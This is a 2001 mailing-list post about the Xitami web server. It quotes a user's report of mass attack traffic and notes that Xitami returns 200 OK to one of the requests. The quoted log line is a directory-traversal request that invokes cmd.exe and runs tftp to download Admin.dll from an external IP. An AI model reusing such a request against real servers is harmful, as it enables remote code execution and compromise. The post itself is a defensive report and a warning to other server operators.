[Xitami] "GET /scripts/.......

[Michael S. Kazarin]

Note that the request listed below makes Xitami server send 200 ok reply,
but not 404 not found. You might want to try this with your server.

| In message <3BA78D04.2260.B6922DE@localhost> "Michael" writes:
|
| > Today I'm getting many thousands of hits from hundreds of IP's on a
| > single Win95 machine running only Xitami b5.  The log shows the
| > following...
| >
| > 216.254.74.234 - - [18/Sep/2001:15:50:57 -0500] "GET
| > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-
| > i%20216.254.74.234%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
| > 200 -1 "" ""
| >
| > Most are just 404's trying to find root.exe or cmd.exe but some are like
| > the above.  Is it simply my turn this crap today?
|